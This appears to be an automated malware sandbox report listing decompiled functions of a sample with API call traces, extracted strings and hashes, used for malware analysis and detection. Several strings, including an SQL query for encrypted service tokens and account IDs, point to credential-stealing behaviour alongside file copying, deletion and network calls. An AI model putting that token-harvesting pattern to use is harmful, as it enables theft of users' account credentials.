lstrcpy.KERNEL32(00000000,00000000), ref: 0058A4B8
CopyFileA.KERNEL32(?,00000000,00000001), ref: 0058A4D5
lstrcpy.KERNEL32(00000000,005AD014), ref: 0058A505
lstrcpy.KERNEL32(00000000,005AD014), ref: 0058A572
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A5CB
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A60B
lstrcpy.KERNEL32(00000000,?), ref: 0058A670
lstrcpy.KERNEL32(00000000,?), ref: 0058A6C0
lstrlenA.KERNEL32(00000000), ref: 0058A737
lstrlenA.KERNEL32(011DFDE8), ref: 0058A750
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A77E
lstrcatA.KERNEL32(00000000,00000000), ref: 0058A78A
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A7B6
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A7E6
lstrcatA.KERNEL32(00000000,00000000), ref: 0058A7F1
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A81A
lstrlenA.KERNEL32(005B5094), ref: 0058A82C
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A84D
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058A859
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A882
lstrlenA.KERNEL32(011DFFE0), ref: 0058A899
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A8C4
lstrcatA.KERNEL32(00000000,00000000), ref: 0058A8D0
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A8FC
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A92D
lstrcatA.KERNEL32(00000000,00000000), ref: 0058A938
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A961
lstrlenA.KERNEL32(005B5094), ref: 0058A973
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A994
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058A9A0
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A9C9
lstrlenA.KERNEL32(011DD8A8), ref: 0058A9E0
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AA0B
lstrcatA.KERNEL32(00000000,00000000), ref: 0058AA17
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AA43
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AA79
lstrcatA.KERNEL32(00000000,00000000), ref: 0058AA85
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AAB1
lstrlenA.KERNEL32(005B5094), ref: 0058AAC3
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AAE7
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058AAF3
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AB1F
lstrlenA.KERNEL32(011DD7F8), ref: 0058AB36
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AB61
lstrcatA.KERNEL32(00000000,00000000), ref: 0058AB6D
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AB99
lstrcpy.KERNEL32(00000000,00000000), ref: 0058ABCF
lstrcatA.KERNEL32(00000000,00000000), ref: 0058ABDB
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AC07
lstrlenA.KERNEL32(005B5094), ref: 0058AC19
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AC3D
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058AC49
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AC75
lstrlenA.KERNEL32(011DFF08), ref: 0058AC8C
lstrcpy.KERNEL32(00000000,00000000), ref: 0058ACB7
lstrcatA.KERNEL32(00000000,00000000), ref: 0058ACC3
lstrcpy.KERNEL32(00000000,00000000), ref: 0058ACEF
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AD25
lstrcatA.KERNEL32(00000000,00000000), ref: 0058AD31
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AD5D
lstrlenA.KERNEL32(005B5094), ref: 0058AD6F
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AD93
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058AD9F
lstrcpy.KERNEL32(00000000,00000000), ref: 0058ADC9
lstrlenA.KERNEL32(005B5094), ref: 0058ADDB
lstrcpy.KERNEL32(00000000,00000000), ref: 0058ADFC
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058AE08
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AE34
lstrlenA.KERNEL32(?), ref: 0058AF4B
lstrcpy.KERNEL32(00000000,?), ref: 0058AF7C
DeleteFileA.KERNEL32(00000000), ref: 0058AFEE

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$File$CopyDelete
String ID:
API String ID: 2613238465-0
Opcode ID: 5693f0df3bd079184444bad89d8ba53db1496a68856c0c834d56930173de8dae
Instruction ID: 55c48d8da963c1f1b8695e676e3d21f242971d9d2b8f91deda2a95a7836ce9f5
Opcode Fuzzy Hash: 5693f0df3bd079184444bad89d8ba53db1496a68856c0c834d56930173de8dae
Instruction Fuzzy Hash: 61828B305052069BEB25BF28C94CB2B7FE9BF84704F04866AFD49A7261DB34DC41CB96

Function 005856C0 Relevance: 107.5, APIs: 51, Strings: 10, Instructions: 734
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,?), ref: 005856EF
lstrlenA.KERNEL32(?), ref: 00585742
lstrcpy.KERNEL32(00000000,005AD014), ref: 00585784
lstrcpy.KERNEL32(00000000,005AD014), ref: 005857C3
lstrcpy.KERNEL32(00000000,005AD014), ref: 005857F3
lstrcpy.KERNEL32(00000000,005AD014), ref: 00585828

Strings

LP[, xrefs: 00585B48
LP[, xrefs: 00585CCC
LP[, xrefs: 00585BDE
------, xrefs: 00585929, 00585956
LP[, xrefs: 00585D24
", xrefs: 00585BA4, 00585C92, 00585D80
--, xrefs: 0058598F, 005859B7
LP[, xrefs: 00585C36
------, xrefs: 00585B0B, 00585BFC, 00585CEA
~Y, xrefs: 0058576C, 00585FEA, 00585E90

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID: ------$"$--$------$LP[$LP[$LP[$LP[$LP[$~Y
API String ID: 367037083-3463144105
Opcode ID: f9812a0901df78d24a5c4bc470c524c361732cffd4b53afaa2f90c40d8bf1e80
Instruction ID: c99255dbd5ed3abec12acf22b584cfdea55331ce64a771aa85316a7848606ec9
Opcode Fuzzy Hash: f9812a0901df78d24a5c4bc470c524c361732cffd4b53afaa2f90c40d8bf1e80
Instruction Fuzzy Hash: BD422C3190061A9BCB10FBB4CC49BAE7FF9BF88710F155564FA05B7251EB34AD468B90

Function 0059F300 Relevance: 102.7, APIs: 57, Strings: 1, Instructions: 1164stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(005AD014,00000001,00000000,00000000), ref: 0059F32E
lstrcpy.KERNEL32(00000000,005AD014), ref: 0059F34C
lstrlenA.KERNEL32(005AD014), ref: 0059F357
lstrcpy.KERNEL32(00000000,005AD014), ref: 0059F371
lstrlenA.KERNEL32(005AD014), ref: 0059F37C
lstrcpy.KERNEL32(00000000,005AD014), ref: 0059F396
lstrcpy.KERNEL32(00000000,005B5560), ref: 0059F3BE
lstrcpy.KERNEL32(00000000,005AD014), ref: 0059F3EC
lstrcpy.KERNEL32(00000000,005AD014), ref: 0059F422
lstrcpy.KERNEL32(00000000,005AD014), ref: 0059F454
lstrlenA.KERNEL32(011D8558), ref: 0059F476
lstrcpy.KERNEL32(00000000,?), ref: 0059F506
lstrcpy.KERNEL32(00000000,00000000), ref: 0059F52B
lstrcpy.KERNEL32(00000000,00000000), ref: 0059F5E2
StrCmpCA.SHLWAPI(?,ERROR), ref: 0059F894
lstrlenA.KERNEL32(011DD798), ref: 0059F8C2
lstrcpy.KERNEL32(00000000,011DD798), ref: 0059F8EF
lstrcpy.KERNEL32(00000000,00000000), ref: 0059F912
lstrcpy.KERNEL32(00000000,?), ref: 0059F966
lstrcpy.KERNEL32(00000000,011DD798), ref: 0059FA28
lstrcpy.KERNEL32(00000000,011DD898), ref: 0059FA58
lstrcpy.KERNEL32(00000000,?), ref: 0059FAB7
StrCmpCA.SHLWAPI(?,ERROR), ref: 0059FBD5
lstrlenA.KERNEL32(011DD7B8), ref: 0059FC03
lstrcpy.KERNEL32(00000000,011DD7B8), ref: 0059FC30
lstrcpy.KERNEL32(00000000,00000000), ref: 0059FC53
lstrcpy.KERNEL32(00000000,?), ref: 0059FCA7

Strings

ERROR, xrefs: 0059F788, 0059F88E, 0059FB30, 0059FBCF, 0059FE70, 0059FF0F

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID: ERROR
API String ID: 367037083-2861137601
Opcode ID: dd7d8909705fce8e76f60fa86b9cf75f3049b721b17079c8a0d8eda4a4e0e3f4
Instruction ID: e6770353eeae36f45a190099a60a2aa780737394023ece83b221750552ee212b
Opcode Fuzzy Hash: dd7d8909705fce8e76f60fa86b9cf75f3049b721b17079c8a0d8eda4a4e0e3f4
Instruction Fuzzy Hash: EBA24930A053069FCB24EF28C948B1ABFE5BF84314F188579E959DB261EB35DC42CB91

Function 00585799 Relevance: 102.2, APIs: 48, Strings: 10, Instructions: 663
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 005857C3
lstrcpy.KERNEL32(00000000,005AD014), ref: 005857F3
lstrcpy.KERNEL32(00000000,005AD014), ref: 00585828
lstrcpy.KERNEL32(00000000,005AD014), ref: 00585862
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00585872
StrCmpCA.SHLWAPI(?,011DD658), ref: 00585892

Strings

LP[, xrefs: 00585B48
LP[, xrefs: 00585CCC
LP[, xrefs: 00585BDE
------, xrefs: 00585929, 00585956
LP[, xrefs: 00585D24
", xrefs: 00585BA4, 00585C92, 00585D80
--, xrefs: 0058598F, 005859B7
LP[, xrefs: 00585C36
------, xrefs: 00585B0B, 00585BFC, 00585CEA
~Y, xrefs: 00585FEA, 00585E90

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$InternetOpen
String ID: ------$"$--$------$LP[$LP[$LP[$LP[$LP[$~Y
API String ID: 2041821634-3463144105
Opcode ID: 7d7adb8c1fa0c7cc43dd22b748e5489932d171894e0c055acd91f8dbfe1601a9
Instruction ID: 82f7225840542d3a786b381671db3b0c8f49b9fe3787d995a8de57a71d757f45
Opcode Fuzzy Hash: 7d7adb8c1fa0c7cc43dd22b748e5489932d171894e0c055acd91f8dbfe1601a9
Instruction Fuzzy Hash: 4A320A31A1061A9BCB10FBA4CC89BAE7FB9BF84710F155564FA05B7251EB34AD428BD0

Function 0058F990 Relevance: 101.5, APIs: 67, Instructions: 1017stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 0058F9CE
lstrlenA.KERNEL32(011DFFB0), ref: 0058F9DD
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FA00
lstrcatA.KERNEL32(00000000,00000000), ref: 0058FA0B
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FA31
lstrcpy.KERNEL32(00000000,?), ref: 0058FA72
lstrcatA.KERNEL32(00000000), ref: 0058FA7C
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FAA5
CopyFileA.KERNEL32(?,00000000,00000001), ref: 0058FAC4
lstrcpy.KERNEL32(00000000,005AD014), ref: 0058FAF4
lstrlenA.KERNEL32(011DD7D8), ref: 0058FB03
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FB2B
lstrcatA.KERNEL32(00000000,00000000), ref: 0058FB36
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FB5F
lstrlenA.KERNEL32(005B1D5C), ref: 0058FB71
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FB93
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 0058FB9F
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FBC8
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FBF7
lstrcatA.KERNEL32(00000000,00000000), ref: 0058FC02
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FC29
lstrlenA.KERNEL32(005B5158), ref: 0058FC3B
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FC5D
lstrcatA.KERNEL32(00000000,005B5158), ref: 0058FC69
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FC94
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FCC1
lstrcatA.KERNEL32(00000000,00000000), ref: 0058FCCC
lstrlenA.KERNEL32(011DD948), ref: 0058FCDA
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FCFE
lstrcatA.KERNEL32(00000000,011DD948), ref: 0058FD06
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FD31
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0058FD87
RtlAllocateHeap.NTDLL(00000000), ref: 0058FD8E
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FDDD
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FE16
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FE49
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FE7C
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FEB6
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FEE9
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FF1B
StrCmpCA.SHLWAPI(?,005B52A4), ref: 0058FF2A
lstrlenA.KERNEL32(011DD8F8), ref: 0058FF3C
lstrlenA.KERNEL32(011DD7E8), ref: 0058FF71
lstrcpy.KERNEL32(00000000,011DD7E8), ref: 0058FF9E
StrCmpCA.SHLWAPI(?,005B52A4), ref: 0058FFAD
lstrlenA.KERNEL32(011DD8F8), ref: 0058FFBF
lstrlenA.KERNEL32(011DD7E8), ref: 0058FFF4
lstrcpy.KERNEL32(00000000,011DD7E8), ref: 00590021
lstrcatA.KERNEL32(?,?), ref: 0059002F
lstrcatA.KERNEL32(?,005B52A8), ref: 0059003E
lstrcatA.KERNEL32(?,00000000), ref: 0059004C
lstrcatA.KERNEL32(?,005B52A8), ref: 0059005B
lstrcatA.KERNEL32(?,?), ref: 00590069
lstrcatA.KERNEL32(?,005B52A8), ref: 00590078
lstrcatA.KERNEL32(?,00000000), ref: 00590086
lstrcatA.KERNEL32(?,005B52A8), ref: 00590095
lstrcatA.KERNEL32(?,?), ref: 005900A3
lstrcatA.KERNEL32(?,005B52A8), ref: 005900B2
lstrcatA.KERNEL32(?,?), ref: 005900C0
lstrcatA.KERNEL32(?,005B52A8), ref: 005900CF
lstrcatA.KERNEL32(?,00000000), ref: 005900DA
lstrcatA.KERNEL32(?,005B5094), ref: 005900E9
lstrlenA.KERNEL32(?), ref: 00590408
lstrlenA.KERNEL32(?), ref: 00590417
lstrcpy.KERNEL32(00000000,00000000), ref: 00590444
memset.MSVCRT ref: 0059047C
DeleteFileA.KERNEL32(?), ref: 005904A6

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$FileHeap$AllocateCopyDeleteProcessmemset
String ID:
API String ID: 1332541768-0
Opcode ID: 8bc34a383cc1657162e30d606974a2fdd354bd9dca752bf5b5755ab2ad7d0993
Instruction ID: 52bb153e1653ec132299d6d0c70b310b4b8947edb5a9f4ae775b33cfa52b9bc6
Opcode Fuzzy Hash: 8bc34a383cc1657162e30d606974a2fdd354bd9dca752bf5b5755ab2ad7d0993
Instruction Fuzzy Hash: EF825030A012069FCF24EF68C948B6ABFF9BF48714F188569E909E72A1DB35DD41CB54

Function 0058D4B0 Relevance: 98.7, APIs: 53, Strings: 3, Instructions: 701stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 0058D4F0
lstrlenA.KERNEL32(AccountTokens), ref: 0058D4FB
lstrcpy.KERNEL32(00000000,?), ref: 0058D52D
lstrcatA.KERNEL32(00000000,AccountTokens), ref: 0058D539
lstrlenA.KERNEL32(005B1D5C), ref: 0058D544
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D565
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 0058D571
lstrcpy.KERNEL32(00000000,?), ref: 0058D59E
lstrcatA.KERNEL32(00000000,00000000), ref: 0058D5A9
lstrlenA.KERNEL32(011DD948), ref: 0058D5B7
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D5E3
lstrcatA.KERNEL32(00000000,011DD948), ref: 0058D5EB
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D61E
lstrcpy.KERNEL32(00000000,?), ref: 0058D658
lstrcatA.KERNEL32(00000000,AccountTokens), ref: 0058D664
lstrlenA.KERNEL32(005B1D5C), ref: 0058D66F
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D690
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 0058D69C
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D6C7
lstrcatA.KERNEL32(00000000,00000000), ref: 0058D6D2
lstrlenA.KERNEL32(005B5158), ref: 0058D6DD
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D701
lstrcatA.KERNEL32(00000000,005B5158), ref: 0058D70D
lstrcpy.KERNEL32(00000000,?), ref: 0058D736
lstrcatA.KERNEL32(00000000,00000000), ref: 0058D741
lstrlenA.KERNEL32(011DD948), ref: 0058D751
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D779
lstrcatA.KERNEL32(00000000,00000000), ref: 0058D785
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D7B8
lstrcpy.KERNEL32(00000000,005AD014), ref: 0058D857
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D8A7
lstrcpy.KERNEL32(00000000,?), ref: 0058D90C
lstrlenA.KERNEL32(?), ref: 0058D931
LocalAlloc.KERNEL32(00000040,00000001), ref: 0058D952
StrStrA.SHLWAPI(00000000,AccountId), ref: 0058D97F
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D9C0
lstrcatA.KERNEL32(00000000,00000000), ref: 0058D9CC
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D9FA
lstrlenA.KERNEL32(005B5264), ref: 0058DA0C
lstrcpy.KERNEL32(00000000,00000000), ref: 0058DA30
lstrcatA.KERNEL32(00000000,005B5264), ref: 0058DA3C

Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581437
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581459
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 0058147B
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 005814DF

Part of subcall function 0059EF30: lstrcpy.KERNEL32(00000000,?), ref: 0059EF62

lstrcpy.KERNEL32(00000000,00000000), ref: 0058DA6A
lstrlenA.KERNEL32(0000000A), ref: 0058DA7C
lstrcpy.KERNEL32(00000000,00000000), ref: 0058DAA7
lstrcatA.KERNEL32(00000000,00000000), ref: 0058DAB3
lstrcpy.KERNEL32(00000000,00000000), ref: 0058DADD
lstrlenA.KERNEL32(005B5094), ref: 0058DAEF
lstrcpy.KERNEL32(00000000,00000000), ref: 0058DB10
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058DB1C
lstrcpy.KERNEL32(00000000,00000000), ref: 0058DB48
lstrlenA.KERNEL32(?), ref: 0058DC5F
lstrlenA.KERNEL32(?), ref: 0058DC6B
lstrcpy.KERNEL32(00000000,?), ref: 0058DC95

Strings

AccountId, xrefs: 0058D979
SELECT service, encrypted_token FROM token_service, xrefs: 0058D816
AccountTokens, xrefs: 0058D4F6, 0058D533, 0058D65E

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$AllocLocal
String ID: AccountId$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3196764088-2907684507
Opcode ID: 08641ac99b9780038cbb7e6143d7ed4e59c33cf6caba52320ff303e724247191
Instruction ID: 36d64f306addf7e191e76229387d7a0b7d96191a3eaae2eb70e12cb1503d388d
Opcode Fuzzy Hash: 08641ac99b9780038cbb7e6143d7ed4e59c33cf6caba52320ff303e724247191
Instruction Fuzzy Hash: 64424A316052069FCB14BF68C888B2A7FF9BF84704F148628FD55A72A1DB74EC45CBA5

Function 0058F9A9 Relevance: 98.5, APIs: 65, Instructions: 968stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 0058F9CE
lstrlenA.KERNEL32(011DFFB0), ref: 0058F9DD
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FA00
lstrcatA.KERNEL32(00000000,00000000), ref: 0058FA0B
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FA31
lstrcpy.KERNEL32(00000000,?), ref: 0058FA72
lstrcatA.KERNEL32(00000000), ref: 0058FA7C
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FAA5
CopyFileA.KERNEL32(?,00000000,00000001), ref: 0058FAC4
lstrcpy.KERNEL32(00000000,005AD014), ref: 0058FAF4
lstrlenA.KERNEL32(011DD7D8), ref: 0058FB03
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FB2B
lstrcatA.KERNEL32(00000000,00000000), ref: 0058FB36
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FB5F
lstrlenA.KERNEL32(005B1D5C), ref: 0058FB71
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FB93
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 0058FB9F
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FBC8
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FBF7
lstrcatA.KERNEL32(00000000,00000000), ref: 0058FC02
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FC29
lstrlenA.KERNEL32(005B5158), ref: 0058FC3B
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FC5D
lstrcatA.KERNEL32(00000000,005B5158), ref: 0058FC69
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FC94
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FCC1
lstrcatA.KERNEL32(00000000,00000000), ref: 0058FCCC
lstrlenA.KERNEL32(011DD948), ref: 0058FCDA
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FCFE
lstrcatA.KERNEL32(00000000,011DD948), ref: 0058FD06
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FD31
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0058FD87
RtlAllocateHeap.NTDLL(00000000), ref: 0058FD8E
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FDDD
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FE16
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FE49
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FE7C
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FEB6
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FEE9
lstrcpy.KERNEL32(00000000,00000000), ref: 0058FF1B
StrCmpCA.SHLWAPI(?,005B52A4), ref: 0058FF2A
